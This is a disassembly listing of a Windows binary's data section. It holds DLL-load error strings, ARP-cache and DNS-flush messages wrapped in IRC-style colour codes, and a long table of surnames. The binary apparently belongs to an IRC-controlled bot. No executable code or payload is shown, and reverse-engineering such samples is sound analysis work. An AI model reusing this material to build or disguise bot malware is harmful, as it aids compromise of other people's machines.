aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B12+23o
		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B12+Ao
		align 10h
unk_42D330	db  2Dh	; -		; DATA XREF: sub_40A7CE+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 10h
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o
		align 10h
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o
		align 10h
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o
		align 4
a_:					; DATA XREF: sub_40F96A+252o
		unicode	0, <.>,0
unk_42D4C0	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABF0o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 10h
unk_42D4F0	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABBEo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 10h
unk_42D520	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40AB8Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D544	db  2Dh	; -		; DATA XREF: sub_40AB31+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC0F+46o
					; sub_40BFEB+38o
		align 10h
aReal		db 'real',0
		align 4
		dd 0
dword_42D58C	dd 0			; DATA XREF: sub_40B08D+7o
off_42D590	dd offset sub_40ACB5	; DATA XREF: sub_40B08D+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AD22h, 7474656Ch, 7265h, 0
		dd 2, 40AD80h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCDh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Bh, 736Fh, 2	dup(0)
		dd 5, 40AEE0h
off_42D5F8	dd offset aAbdulrazak	; DATA XREF: sub_40ACB5+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D604	dd offset aAddison	; DATA XREF: sub_40B08D+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
